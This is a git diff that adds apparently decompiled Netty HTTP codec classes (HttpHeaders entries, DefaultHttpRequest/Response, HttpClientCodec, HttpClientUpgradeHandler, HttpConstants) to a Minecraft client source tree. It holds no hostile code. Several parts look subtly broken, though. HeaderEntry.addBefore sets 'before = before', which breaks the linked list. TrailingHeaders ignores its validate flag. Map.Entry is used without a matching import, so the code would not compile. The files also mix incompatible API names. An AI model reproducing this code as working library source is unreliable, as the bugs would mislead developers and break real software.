+    public void remove() { throw new UnsupportedOperationException(); }
+  }
+  
+  private final class HeaderEntry implements Map.Entry<String, String> {
+    final int hash;
+    final CharSequence key;
+    CharSequence value;
+    HeaderEntry next;
+    HeaderEntry before;
+    HeaderEntry after;
+    
+    HeaderEntry(int hash, CharSequence key, CharSequence value) {
+      this.hash = hash;
+      this.key = key;
+      this.value = value;
+    }
+    
+    HeaderEntry() {
+      hash = -1;
+      key = null;
+      value = null;
+    }
+    
+    void remove() {
+      before.after = after;
+      after.before = before;
+    }
+    
+    void addBefore(HeaderEntry e) {
+      after = e;
+      before = before;
+      before.after = this;
+      after.before = this;
+    }
+    
+    public String getKey()
+    {
+      return key.toString();
+    }
+    
+    public String getValue()
+    {
+      return value.toString();
+    }
+    
+    public String setValue(String value)
+    {
+      if (value == null) {
+        throw new NullPointerException("value");
+      }
+      HttpHeaders.validateHeaderValue(value);
+      CharSequence oldValue = this.value;
+      this.value = value;
+      return oldValue.toString();
+    }
+    
+    public String toString()
+    {
+      return key.toString() + '=' + value.toString();
+    }
+    
+    void encode(ByteBuf buf) {
+      HttpHeaders.encode(key, value, buf);
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/DefaultHttpMessage.java b/src/minecraft/io/netty/handler/codec/http/DefaultHttpMessage.java
new file mode 100644
index 0000000..b0df994
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/DefaultHttpMessage.java
@@ -0,0 +1,89 @@
+package io.netty.handler.codec.http;
+
+import io.netty.util.internal.StringUtil;
+import java.util.Map.Entry;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class DefaultHttpMessage
+  extends DefaultHttpObject
+  implements HttpMessage
+{
+  private HttpVersion version;
+  private final HttpHeaders headers;
+  
+  protected DefaultHttpMessage(HttpVersion version)
+  {
+    this(version, true);
+  }
+  
+  protected DefaultHttpMessage(HttpVersion version, boolean validate) {
+    if (version == null) {
+      throw new NullPointerException("version");
+    }
+    this.version = version;
+    headers = new DefaultHttpHeaders(validate);
+  }
+  
+  public HttpHeaders headers()
+  {
+    return headers;
+  }
+  
+  public HttpVersion getProtocolVersion()
+  {
+    return version;
+  }
+  
+  public String toString()
+  {
+    StringBuilder buf = new StringBuilder();
+    buf.append(StringUtil.simpleClassName(this));
+    buf.append("(version: ");
+    buf.append(getProtocolVersion().text());
+    buf.append(", keepAlive: ");
+    buf.append(HttpHeaders.isKeepAlive(this));
+    buf.append(')');
+    buf.append(StringUtil.NEWLINE);
+    appendHeaders(buf);
+    
+
+    buf.setLength(buf.length() - StringUtil.NEWLINE.length());
+    return buf.toString();
+  }
+  
+  public HttpMessage setProtocolVersion(HttpVersion version)
+  {
+    if (version == null) {
+      throw new NullPointerException("version");
+    }
+    this.version = version;
+    return this;
+  }
+  
+  void appendHeaders(StringBuilder buf) {
+    for (Map.Entry<String, String> e : headers()) {
+      buf.append((String)e.getKey());
+      buf.append(": ");
+      buf.append((String)e.getValue());
+      buf.append(StringUtil.NEWLINE);
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/DefaultHttpObject.java b/src/minecraft/io/netty/handler/codec/http/DefaultHttpObject.java
new file mode 100644
index 0000000..fbb4ff8
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/DefaultHttpObject.java
@@ -0,0 +1,40 @@
+package io.netty.handler.codec.http;
+
+import io.netty.handler.codec.DecoderResult;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultHttpObject
+  implements HttpObject
+{
+  private DecoderResult decoderResult = DecoderResult.SUCCESS;
+  
+
+  protected DefaultHttpObject() {}
+  
+
+  public DecoderResult getDecoderResult()
+  {
+    return decoderResult;
+  }
+  
+  public void setDecoderResult(DecoderResult decoderResult)
+  {
+    if (decoderResult == null) {
+      throw new NullPointerException("decoderResult");
+    }
+    this.decoderResult = decoderResult;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/DefaultHttpRequest.java b/src/minecraft/io/netty/handler/codec/http/DefaultHttpRequest.java
new file mode 100644
index 0000000..2fb7683
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/DefaultHttpRequest.java
@@ -0,0 +1,113 @@
+package io.netty.handler.codec.http;
+
+import io.netty.util.internal.StringUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultHttpRequest
+  extends DefaultHttpMessage
+  implements HttpRequest
+{
+  private HttpMethod method;
+  private String uri;
+  
+  public DefaultHttpRequest(HttpVersion httpVersion, HttpMethod method, String uri)
+  {
+    this(httpVersion, method, uri, true);
+  }
+  
+
+
+
+
+
+
+
+  public DefaultHttpRequest(HttpVersion httpVersion, HttpMethod method, String uri, boolean validateHeaders)
+  {
+    super(httpVersion, validateHeaders);
+    if (method == null) {
+      throw new NullPointerException("method");
+    }
+    if (uri == null) {
+      throw new NullPointerException("uri");
+    }
+    this.method = method;
+    this.uri = uri;
+  }
+  
+  public HttpMethod getMethod()
+  {
+    return method;
+  }
+  
+  public String getUri()
+  {
+    return uri;
+  }
+  
+  public HttpRequest setMethod(HttpMethod method)
+  {
+    if (method == null) {
+      throw new NullPointerException("method");
+    }
+    this.method = method;
+    return this;
+  }
+  
+  public HttpRequest setUri(String uri)
+  {
+    if (uri == null) {
+      throw new NullPointerException("uri");
+    }
+    this.uri = uri;
+    return this;
+  }
+  
+  public HttpRequest setProtocolVersion(HttpVersion version)
+  {
+    super.setProtocolVersion(version);
+    return this;
+  }
+  
+  public String toString()
+  {
+    StringBuilder buf = new StringBuilder();
+    buf.append(StringUtil.simpleClassName(this));
+    buf.append("(decodeResult: ");
+    buf.append(getDecoderResult());
+    buf.append(')');
+    buf.append(StringUtil.NEWLINE);
+    buf.append(getMethod());
+    buf.append(' ');
+    buf.append(getUri());
+    buf.append(' ');
+    buf.append(getProtocolVersion().text());
+    buf.append(StringUtil.NEWLINE);
+    appendHeaders(buf);
+    
+
+    buf.setLength(buf.length() - StringUtil.NEWLINE.length());
+    return buf.toString();
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/DefaultHttpResponse.java b/src/minecraft/io/netty/handler/codec/http/DefaultHttpResponse.java
new file mode 100644
index 0000000..78d4e54
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/DefaultHttpResponse.java
@@ -0,0 +1,90 @@
+package io.netty.handler.codec.http;
+
+import io.netty.util.internal.StringUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultHttpResponse
+  extends DefaultHttpMessage
+  implements HttpResponse
+{
+  private HttpResponseStatus status;
+  
+  public DefaultHttpResponse(HttpVersion version, HttpResponseStatus status)
+  {
+    this(version, status, true);
+  }
+  
+
+
+
+
+
+
+  public DefaultHttpResponse(HttpVersion version, HttpResponseStatus status, boolean validateHeaders)
+  {
+    super(version, validateHeaders);
+    if (status == null) {
+      throw new NullPointerException("status");
+    }
+    this.status = status;
+  }
+  
+  public HttpResponseStatus getStatus()
+  {
+    return status;
+  }
+  
+  public HttpResponse setStatus(HttpResponseStatus status)
+  {
+    if (status == null) {
+      throw new NullPointerException("status");
+    }
+    this.status = status;
+    return this;
+  }
+  
+  public HttpResponse setProtocolVersion(HttpVersion version)
+  {
+    super.setProtocolVersion(version);
+    return this;
+  }
+  
+  public String toString()
+  {
+    StringBuilder buf = new StringBuilder();
+    buf.append(StringUtil.simpleClassName(this));
+    buf.append("(decodeResult: ");
+    buf.append(getDecoderResult());
+    buf.append(')');
+    buf.append(StringUtil.NEWLINE);
+    buf.append(getProtocolVersion().text());
+    buf.append(' ');
+    buf.append(getStatus());
+    buf.append(StringUtil.NEWLINE);
+    appendHeaders(buf);
+    
+
+    buf.setLength(buf.length() - StringUtil.NEWLINE.length());
+    return buf.toString();
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/DefaultLastHttpContent.java b/src/minecraft/io/netty/handler/codec/http/DefaultLastHttpContent.java
new file mode 100644
index 0000000..24ee4f8
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/DefaultLastHttpContent.java
@@ -0,0 +1,112 @@
+package io.netty.handler.codec.http;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.Unpooled;
+import io.netty.util.internal.StringUtil;
+import java.util.Map.Entry;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultLastHttpContent
+  extends DefaultHttpContent
+  implements LastHttpContent
+{
+  private final HttpHeaders trailingHeaders;
+  private final boolean validateHeaders;
+  
+  public DefaultLastHttpContent()
+  {
+    this(Unpooled.buffer(0));
+  }
+  
+  public DefaultLastHttpContent(ByteBuf content) {
+    this(content, true);
+  }
+  
+  public DefaultLastHttpContent(ByteBuf content, boolean validateHeaders) {
+    super(content);
+    trailingHeaders = new TrailingHeaders(validateHeaders);
+    this.validateHeaders = validateHeaders;
+  }
+  
+  public LastHttpContent copy()
+  {
+    DefaultLastHttpContent copy = new DefaultLastHttpContent(content().copy(), validateHeaders);
+    copy.trailingHeaders().set(trailingHeaders());
+    return copy;
+  }
+  
+  public LastHttpContent duplicate()
+  {
+    DefaultLastHttpContent copy = new DefaultLastHttpContent(content().duplicate(), validateHeaders);
+    copy.trailingHeaders().set(trailingHeaders());
+    return copy;
+  }
+  
+  public LastHttpContent retain(int increment)
+  {
+    super.retain(increment);
+    return this;
+  }
+  
+  public LastHttpContent retain()
+  {
+    super.retain();
+    return this;
+  }
+  
+  public HttpHeaders trailingHeaders()
+  {
+    return trailingHeaders;
+  }
+  
+  public String toString()
+  {
+    StringBuilder buf = new StringBuilder(super.toString());
+    buf.append(StringUtil.NEWLINE);
+    appendHeaders(buf);
+    
+
+    buf.setLength(buf.length() - StringUtil.NEWLINE.length());
+    return buf.toString();
+  }
+  
+  private void appendHeaders(StringBuilder buf) {
+    for (Map.Entry<String, String> e : trailingHeaders()) {
+      buf.append((String)e.getKey());
+      buf.append(": ");
+      buf.append((String)e.getValue());
+      buf.append(StringUtil.NEWLINE);
+    }
+  }
+  
+  private static final class TrailingHeaders extends DefaultHttpHeaders {
+    TrailingHeaders(boolean validate) {
+      super();
+    }
+    
+    void validateHeaderName0(CharSequence name)
+    {
+      super.validateHeaderName0(name);
+      if ((HttpHeaders.equalsIgnoreCase("Content-Length", name)) || (HttpHeaders.equalsIgnoreCase("Transfer-Encoding", name)) || (HttpHeaders.equalsIgnoreCase("Trailer", name)))
+      {
+
+        throw new IllegalArgumentException("prohibited trailing header: " + name);
+      }
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/EmptyHttpHeaders.java b/src/minecraft/io/netty/handler/codec/http/EmptyHttpHeaders.java
new file mode 100644
index 0000000..613627b
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/EmptyHttpHeaders.java
@@ -0,0 +1,170 @@
+package io.netty.handler.codec.http;
+
+import java.util.Collections;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class EmptyHttpHeaders
+  extends HttpHeaders
+{
+  static final Iterator<Map.Entry<CharSequence, CharSequence>> EMPTY_CHARS_ITERATOR = Collections.emptyList().iterator();
+  
+
+  public static final EmptyHttpHeaders INSTANCE = instance();
+  
+
+
+
+
+
+
+  @Deprecated
+  static EmptyHttpHeaders instance()
+  {
+    return HttpUtil.EMPTY_HEADERS;
+  }
+  
+
+  protected EmptyHttpHeaders() {}
+  
+  public String get(String name)
+  {
+    return null;
+  }
+  
+  public Integer getInt(CharSequence name)
+  {
+    return null;
+  }
+  
+  public int getInt(CharSequence name, int defaultValue)
+  {
+    return defaultValue;
+  }
+  
+  public Short getShort(CharSequence name)
+  {
+    return null;
+  }
+  
+  public short getShort(CharSequence name, short defaultValue)
+  {
+    return defaultValue;
+  }
+  
+  public Long getTimeMillis(CharSequence name)
+  {
+    return null;
+  }
+  
+  public long getTimeMillis(CharSequence name, long defaultValue)
+  {
+    return defaultValue;
+  }
+  
+  public List<String> getAll(String name)
+  {
+    return Collections.emptyList();
+  }
+  
+  public List<Map.Entry<String, String>> entries()
+  {
+    return Collections.emptyList();
+  }
+  
+  public boolean contains(String name)
+  {
+    return false;
+  }
+  
+  public boolean isEmpty()
+  {
+    return true;
+  }
+  
+  public int size()
+  {
+    return 0;
+  }
+  
+  public Set<String> names()
+  {
+    return Collections.emptySet();
+  }
+  
+  public HttpHeaders add(String name, Object value)
+  {
+    throw new UnsupportedOperationException("read only");
+  }
+  
+  public HttpHeaders add(String name, Iterable<?> values)
+  {
+    throw new UnsupportedOperationException("read only");
+  }
+  
+  public HttpHeaders addInt(CharSequence name, int value)
+  {
+    throw new UnsupportedOperationException("read only");
+  }
+  
+  public HttpHeaders addShort(CharSequence name, short value)
+  {
+    throw new UnsupportedOperationException("read only");
+  }
+  
+  public HttpHeaders set(String name, Object value)
+  {
+    throw new UnsupportedOperationException("read only");
+  }
+  
+  public HttpHeaders set(String name, Iterable<?> values)
+  {
+    throw new UnsupportedOperationException("read only");
+  }
+  
+  public HttpHeaders setInt(CharSequence name, int value)
+  {
+    throw new UnsupportedOperationException("read only");
+  }
+  
+  public HttpHeaders setShort(CharSequence name, short value)
+  {
+    throw new UnsupportedOperationException("read only");
+  }
+  
+  public HttpHeaders remove(String name)
+  {
+    throw new UnsupportedOperationException("read only");
+  }
+  
+  public HttpHeaders clear()
+  {
+    throw new UnsupportedOperationException("read only");
+  }
+  
+  public Iterator<Map.Entry<String, String>> iterator()
+  {
+    return entries().iterator();
+  }
+  
+  public Iterator<Map.Entry<CharSequence, CharSequence>> iteratorCharSequence()
+  {
+    return EMPTY_CHARS_ITERATOR;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/FullHttpMessage.java b/src/minecraft/io/netty/handler/codec/http/FullHttpMessage.java
new file mode 100644
index 0000000..6863018
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/FullHttpMessage.java
@@ -0,0 +1,11 @@
+package io.netty.handler.codec.http;
+
+public abstract interface FullHttpMessage
+  extends HttpMessage, LastHttpContent
+{
+  public abstract FullHttpMessage copy();
+  
+  public abstract FullHttpMessage retain(int paramInt);
+  
+  public abstract FullHttpMessage retain();
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/FullHttpRequest.java b/src/minecraft/io/netty/handler/codec/http/FullHttpRequest.java
new file mode 100644
index 0000000..7fb3513
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/FullHttpRequest.java
@@ -0,0 +1,17 @@
+package io.netty.handler.codec.http;
+
+public abstract interface FullHttpRequest
+  extends HttpRequest, FullHttpMessage
+{
+  public abstract FullHttpRequest copy();
+  
+  public abstract FullHttpRequest retain(int paramInt);
+  
+  public abstract FullHttpRequest retain();
+  
+  public abstract FullHttpRequest setProtocolVersion(HttpVersion paramHttpVersion);
+  
+  public abstract FullHttpRequest setMethod(HttpMethod paramHttpMethod);
+  
+  public abstract FullHttpRequest setUri(String paramString);
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/FullHttpResponse.java b/src/minecraft/io/netty/handler/codec/http/FullHttpResponse.java
new file mode 100644
index 0000000..e478358
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/FullHttpResponse.java
@@ -0,0 +1,15 @@
+package io.netty.handler.codec.http;
+
+public abstract interface FullHttpResponse
+  extends HttpResponse, FullHttpMessage
+{
+  public abstract FullHttpResponse copy();
+  
+  public abstract FullHttpResponse retain(int paramInt);
+  
+  public abstract FullHttpResponse retain();
+  
+  public abstract FullHttpResponse setProtocolVersion(HttpVersion paramHttpVersion);
+  
+  public abstract FullHttpResponse setStatus(HttpResponseStatus paramHttpResponseStatus);
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/HttpChunkedInput.java b/src/minecraft/io/netty/handler/codec/http/HttpChunkedInput.java
new file mode 100644
index 0000000..d45c001
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/HttpChunkedInput.java
@@ -0,0 +1,98 @@
+package io.netty.handler.codec.http;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.stream.ChunkedInput;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class HttpChunkedInput
+  implements ChunkedInput<HttpContent>
+{
+  private final ChunkedInput<ByteBuf> input;
+  private final LastHttpContent lastHttpContent;
+  private boolean sentLastChunk;
+  
+  public HttpChunkedInput(ChunkedInput<ByteBuf> input)
+  {
+    this.input = input;
+    lastHttpContent = LastHttpContent.EMPTY_LAST_CONTENT;
+  }
+  
+
+
+
+
+
+
+  public HttpChunkedInput(ChunkedInput<ByteBuf> input, LastHttpContent lastHttpContent)
+  {
+    this.input = input;
+    this.lastHttpContent = lastHttpContent;
+  }
+  
+  public boolean isEndOfInput() throws Exception
+  {
+    if (input.isEndOfInput())
+    {
+      return sentLastChunk;
+    }
+    return false;
+  }
+  
+  public void close()
+    throws Exception
+  {
+    input.close();
+  }
+  
+  public HttpContent readChunk(ChannelHandlerContext ctx) throws Exception
+  {
+    if (input.isEndOfInput()) {
+      if (sentLastChunk) {
+        return null;
+      }
+      
+      sentLastChunk = true;
+      return lastHttpContent;
+    }
+    
+    ByteBuf buf = (ByteBuf)input.readChunk(ctx);
+    return new DefaultHttpContent(buf);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/HttpClientCodec.java b/src/minecraft/io/netty/handler/codec/http/HttpClientCodec.java
new file mode 100644
index 0000000..b311cd5
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/HttpClientCodec.java
@@ -0,0 +1,222 @@
+package io.netty.handler.codec.http;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.CombinedChannelDuplexHandler;
+import io.netty.handler.codec.PrematureChannelClosureException;
+import java.util.ArrayDeque;
+import java.util.List;
+import java.util.Queue;
+import java.util.concurrent.atomic.AtomicLong;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class HttpClientCodec
+  extends CombinedChannelDuplexHandler<HttpResponseDecoder, HttpRequestEncoder>
+{
+  private final Queue<HttpMethod> queue = new ArrayDeque();
+  
+
+  private boolean done;
+  
+  private final AtomicLong requestResponseCounter = new AtomicLong();
+  
+
+  private final boolean failOnMissingResponse;
+  
+
+
+  public HttpClientCodec()
+  {
+    this(4096, 8192, 8192, false);
+  }
+  
+  public void setSingleDecode(boolean singleDecode) {
+    ((HttpResponseDecoder)inboundHandler()).setSingleDecode(singleDecode);
+  }
+  
+  public boolean isSingleDecode() {
+    return ((HttpResponseDecoder)inboundHandler()).isSingleDecode();
+  }
+  
+
+
+  public HttpClientCodec(int maxInitialLineLength, int maxHeaderSize, int maxChunkSize)
+  {
+    this(maxInitialLineLength, maxHeaderSize, maxChunkSize, false);
+  }
+  
+
+
+
+  public HttpClientCodec(int maxInitialLineLength, int maxHeaderSize, int maxChunkSize, boolean failOnMissingResponse)
+  {
+    this(maxInitialLineLength, maxHeaderSize, maxChunkSize, failOnMissingResponse, true);
+  }
+  
+
+
+
+
+  public HttpClientCodec(int maxInitialLineLength, int maxHeaderSize, int maxChunkSize, boolean failOnMissingResponse, boolean validateHeaders)
+  {
+    init(new Decoder(maxInitialLineLength, maxHeaderSize, maxChunkSize, validateHeaders), new Encoder(null));
+    this.failOnMissingResponse = failOnMissingResponse;
+  }
+  
+  private final class Encoder extends HttpRequestEncoder
+  {
+    private Encoder() {}
+    
+    protected void encode(ChannelHandlerContext ctx, Object msg, List<Object> out) throws Exception {
+      if (((msg instanceof HttpRequest)) && (!done)) {
+        queue.offer(((HttpRequest)msg).getMethod());
+      }
+      
+      super.encode(ctx, msg, out);
+      
+      if (failOnMissingResponse)
+      {
+        if ((msg instanceof LastHttpContent))
+        {
+          requestResponseCounter.incrementAndGet();
+        }
+      }
+    }
+  }
+  
+  private final class Decoder extends HttpResponseDecoder {
+    Decoder(int maxInitialLineLength, int maxHeaderSize, int maxChunkSize, boolean validateHeaders) {
+      super(maxHeaderSize, maxChunkSize, validateHeaders);
+    }
+    
+    protected void decode(ChannelHandlerContext ctx, ByteBuf buffer, List<Object> out)
+      throws Exception
+    {
+      if (done) {
+        int readable = actualReadableBytes();
+        if (readable == 0)
+        {
+
+          return;
+        }
+        out.add(buffer.readBytes(readable));
+      } else {
+        int oldSize = out.size();
+        super.decode(ctx, buffer, out);
+        if (failOnMissingResponse) {
+          int size = out.size();
+          for (int i = oldSize; i < size; i++) {
+            decrement(out.get(i));
+          }
+        }
+      }
+    }
+    
+    private void decrement(Object msg) {
+      if (msg == null) {
+        return;
+      }
+      
+
+      if ((msg instanceof LastHttpContent)) {
+        requestResponseCounter.decrementAndGet();
+      }
+    }
+    
+    protected boolean isContentAlwaysEmpty(HttpMessage msg)
+    {
+      int statusCode = ((HttpResponse)msg).getStatus().code();
+      if (statusCode == 100)
+      {
+        return true;
+      }
+      
+
+
+      HttpMethod method = (HttpMethod)queue.poll();
+      
+      char firstChar = method.name().charAt(0);
+      switch (firstChar)
+      {
+
+
+
+      case 'H': 
+        if (HttpMethod.HEAD.equals(method)) {
+          return true;
+        }
+        
+
+
+
+
+
+
+
+
+
+
+
+
+
+        break;
+      case 'C': 
+        if ((statusCode == 200) && 
+          (HttpMethod.CONNECT.equals(method)))
+        {
+          done = true;
+          queue.clear();
+          return true;
+        }
+        
+        break;
+      }
+      
+      return super.isContentAlwaysEmpty(msg);
+    }
+    
+    public void channelInactive(ChannelHandlerContext ctx)
+      throws Exception
+    {
+      super.channelInactive(ctx);
+      
+      if (failOnMissingResponse) {
+        long missingResponses = requestResponseCounter.get();
+        if (missingResponses > 0L) {
+          ctx.fireExceptionCaught(new PrematureChannelClosureException("channel gone inactive with " + missingResponses + " missing response(s)"));
+        }
+      }
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/HttpClientUpgradeHandler.java b/src/minecraft/io/netty/handler/codec/http/HttpClientUpgradeHandler.java
new file mode 100644
index 0000000..739b10a
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/HttpClientUpgradeHandler.java
@@ -0,0 +1,278 @@
+package io.netty.handler.codec.http;
+
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelOutboundHandler;
+import io.netty.channel.ChannelPipeline;
+import io.netty.channel.ChannelPromise;
+import io.netty.util.AsciiString;
+import io.netty.util.ReferenceCountUtil;
+import java.net.SocketAddress;
+import java.util.Collection;
+import java.util.LinkedHashSet;
+import java.util.List;
+import java.util.Set;
+
+
+
+
+
+
+public class HttpClientUpgradeHandler
+  extends HttpObjectAggregator
+  implements ChannelOutboundHandler
+{
+  private final SourceCodec sourceCodec;
+  private final UpgradeCodec upgradeCodec;
+  private boolean upgradeRequested;
+  
+  public static abstract interface UpgradeCodec
+  {
+    public abstract CharSequence protocol();
+    
+    public abstract Collection<CharSequence> setUpgradeHeaders(ChannelHandlerContext paramChannelHandlerContext, HttpRequest paramHttpRequest);
+    
+    public abstract void upgradeTo(ChannelHandlerContext paramChannelHandlerContext, FullHttpResponse paramFullHttpResponse)
+      throws Exception;
+  }
+  
+  public static abstract interface SourceCodec
+  {
+    public abstract void prepareUpgradeFrom(ChannelHandlerContext paramChannelHandlerContext);
+    
+    public abstract void upgradeFrom(ChannelHandlerContext paramChannelHandlerContext);
+  }
+  
+  public static enum UpgradeEvent
+  {
+    UPGRADE_ISSUED, 
+    
+
+
+
+    UPGRADE_SUCCESSFUL, 
+    
+
+
+
+
+    UPGRADE_REJECTED;
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    private UpgradeEvent() {}
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public HttpClientUpgradeHandler(SourceCodec sourceCodec, UpgradeCodec upgradeCodec, int maxContentLength)
+  {
+    super(maxContentLength);
+    if (sourceCodec == null) {
+      throw new NullPointerException("sourceCodec");
+    }
+    if (upgradeCodec == null) {
+      throw new NullPointerException("upgradeCodec");
+    }
+    this.sourceCodec = sourceCodec;
+    this.upgradeCodec = upgradeCodec;
+  }
+  
+  public void bind(ChannelHandlerContext ctx, SocketAddress localAddress, ChannelPromise promise) throws Exception
+  {
+    ctx.bind(localAddress, promise);
+  }
+  
+  public void connect(ChannelHandlerContext ctx, SocketAddress remoteAddress, SocketAddress localAddress, ChannelPromise promise)
+    throws Exception
+  {
+    ctx.connect(remoteAddress, localAddress, promise);
+  }
+  
+  public void disconnect(ChannelHandlerContext ctx, ChannelPromise promise) throws Exception
+  {
+    ctx.disconnect(promise);
+  }
+  
+  public void close(ChannelHandlerContext ctx, ChannelPromise promise) throws Exception
+  {
+    ctx.close(promise);
+  }
+  
+  public void deregister(ChannelHandlerContext ctx, ChannelPromise promise) throws Exception
+  {
+    ctx.deregister(promise);
+  }
+  
+  public void read(ChannelHandlerContext ctx) throws Exception
+  {
+    ctx.read();
+  }
+  
+  public void write(ChannelHandlerContext ctx, Object msg, ChannelPromise promise)
+    throws Exception
+  {
+    if (!(msg instanceof HttpRequest)) {
+      ctx.write(msg, promise);
+      return;
+    }
+    
+    if (upgradeRequested) {
+      promise.setFailure(new IllegalStateException("Attempting to write HTTP request with upgrade in progress"));
+      
+      return;
+    }
+    
+    upgradeRequested = true;
+    setUpgradeRequestHeaders(ctx, (HttpRequest)msg);
+    
+
+    ctx.write(msg, promise);
+    
+
+    ctx.fireUserEventTriggered(UpgradeEvent.UPGRADE_ISSUED);
+  }
+  
+  public void flush(ChannelHandlerContext ctx)
+    throws Exception
+  {
+    ctx.flush();
+  }
+  
+  protected void decode(ChannelHandlerContext ctx, HttpObject msg, List<Object> out)
+    throws Exception
+  {
+    FullHttpResponse response = null;
+    try {
+      if (!upgradeRequested) {
+        throw new IllegalStateException("Read HTTP response without requesting protocol switch");
+      }
+      
+      if ((msg instanceof FullHttpResponse)) {
+        response = (FullHttpResponse)msg;
+        
+        response.retain();
+        out.add(response);
+      }
+      else {
+        super.decode(ctx, msg, out);
+        if (out.isEmpty())
+        {
+          return;
+        }
+        
+        assert (out.size() == 1);
+        response = (FullHttpResponse)out.get(0);
+      }
+      
+      if (!HttpResponseStatus.SWITCHING_PROTOCOLS.equals(response.status()))
+      {
+
+
+
+        ctx.fireUserEventTriggered(UpgradeEvent.UPGRADE_REJECTED);
+        removeThisHandler(ctx);
+        return;
+      }
+      
+      CharSequence upgradeHeader = response.headers().get(HttpHeaderNames.UPGRADE);
+      if ((upgradeHeader != null) && (!AsciiString.contentEqualsIgnoreCase(upgradeCodec.protocol(), upgradeHeader))) {
+        throw new IllegalStateException("Switching Protocols response with unexpected UPGRADE protocol: " + upgradeHeader);
+      }
+      
+
+
+      sourceCodec.prepareUpgradeFrom(ctx);
+      upgradeCodec.upgradeTo(ctx, response);
+      
+
+      ctx.fireUserEventTriggered(UpgradeEvent.UPGRADE_SUCCESSFUL);
+      
+
+
+      sourceCodec.upgradeFrom(ctx);
+      
+
+
+      response.release();
+      out.clear();
+      removeThisHandler(ctx);
+    } catch (Throwable t) {
+      ReferenceCountUtil.release(response);
+      ctx.fireExceptionCaught(t);
+      removeThisHandler(ctx);
+    }
+  }
+  
+  private static void removeThisHandler(ChannelHandlerContext ctx) {
+    ctx.pipeline().remove(ctx.name());
+  }
+  
+
+
+
+  private void setUpgradeRequestHeaders(ChannelHandlerContext ctx, HttpRequest request)
+  {
+    request.headers().set(HttpHeaderNames.UPGRADE, upgradeCodec.protocol());
+    
+
+    Set<CharSequence> connectionParts = new LinkedHashSet(2);
+    connectionParts.addAll(upgradeCodec.setUpgradeHeaders(ctx, request));
+    
+
+    StringBuilder builder = new StringBuilder();
+    for (CharSequence part : connectionParts) {
+      builder.append(part);
+      builder.append(',');
+    }
+    builder.append(HttpHeaderValues.UPGRADE);
+    request.headers().set(HttpHeaderNames.CONNECTION, builder.toString());
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/HttpConstants.java b/src/minecraft/io/netty/handler/codec/http/HttpConstants.java
new file mode 100644
index 0000000..c61becf
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/HttpConstants.java
@@ -0,0 +1,75 @@
+package io.netty.handler.codec.http;
+
+import io.netty.util.CharsetUtil;
+import java.nio.charset.Charset;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class HttpConstants
+{
+  public static final byte SP = 32;
+  public static final byte HT = 9;
+  public static final byte CR = 13;
+  public static final byte EQUALS = 61;
+  public static final byte LF = 10;
+  public static final byte COLON = 58;
+  public static final byte SEMICOLON = 59;
+  public static final byte COMMA = 44;
+  public static final byte DOUBLE_QUOTE = 34;
+  public static final Charset DEFAULT_CHARSET = CharsetUtil.UTF_8;
+  
+  private HttpConstants() {}
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/HttpContent.java b/src/minecraft/io/netty/handler/codec/http/HttpContent.java
new file mode 100644
index 0000000..91d0492
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/HttpContent.java
@@ -0,0 +1,15 @@
+package io.netty.handler.codec.http;
+
+import io.netty.buffer.ByteBufHolder;
+
+public abstract interface HttpContent
+  extends HttpObject, ByteBufHolder
+{
+  public abstract HttpContent copy();
+  
+  public abstract HttpContent duplicate();
+  
